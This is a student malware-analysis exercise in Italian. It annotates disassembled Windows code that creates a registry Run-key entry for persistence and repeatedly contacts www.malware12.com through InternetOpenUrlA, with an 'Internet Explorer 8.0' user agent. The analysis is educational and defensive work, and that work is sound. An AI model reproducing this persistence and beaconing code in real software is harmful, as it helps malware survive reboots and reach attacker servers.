Aorile 2024

CYBER SECURITY SPECIALIST

S11L1

Jacopo Trovato

Windows Malware

```
)040286F   push    2               ; samDesired
)0402871   push    eax             ; ulOptions
)0402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
)040287E   test    eax, eax
)0402880   jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882   lea     ecx, [esp+424h+Data]
)0402886   push    ecx             ; lpString
)0402887   mov     bl, 1
)0402889   call    ds:lstrlenW
)040288F   lea     edx, [eax+eax+2]
)0402893   push    edx             ; cbData
)0402894   mov     edx, [esp+428h+hKey]
)0402898   lea     eax, [esp+428h+Data]
)040289C   push    eax             ; lpData
)040289D   push    1               ; dwType
)040289F   push    0               ; Reserved
)04028A1   lea     ecx, [esp+434h+ValueName]
)04028A8   push    ecx             ; lpValueName
)04028A9   push    edx             ; hKey
)04028AA   call    ds:RegSetValueExW
.text:00401150 ; ||||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

Il malware si assicura la sua **persistenza** inserendo un nuovo valore nella chiave di registro Software\Microsoft\Windows\CurrentVersion\Run, che contiene l'elenco dei programmi avviati durante l'avvio del sistema operativo. Le funzioni che utilizza sono:

- **RegSetValueEx**: funzione che consente al malware di aggiungere un nuovo valore alla chiave di registro appena aperta.
- **RegOpenKey**: funzione utilizzata per aprire la chiave selezionata. I parametri vengono passati sullo stack attraverso le istruzioni "push" prima della chiamata della funzione.

Internet Explorer è il browser utilizzato dal malware per stabilire una connessione a Internet.

```
.text:00401154    push    0               ; lpszProxyBypass
.text:00401156    push    0               ; lpszProxy
.text:00401158    push    1               ; dwAccessType
.text:0040115A    push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F    call    ds:InternetOpenA
.text:00401165    mov     edi, ds:InternetOpenUrlA
.text:0040116B    mov     esi, eax
```

Il malware cerca di stabilire una connessione all'URL www.malware12.com utilizzando la funzione "InternetOpenURL". L'URL è passato come parametro di questa funzione sullo stack mediante l'istruzione "push".

```
.text:0040116D                    push    0               ; dwContext
.text:0040116F                    push    80000000h       ; dwFlags
.text:00401174                    push    0               ; dwHeadersLength
.text:00401176                    push    0               ; lpszHeaders
.text:00401178                    push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                    push    esi             ; hInternet
.text:0040117E                    call    edi ; InternetOpenUrlA
.text:00401180                    jmp     short loc_40116D
.text:00401180 StartAddress       endp
```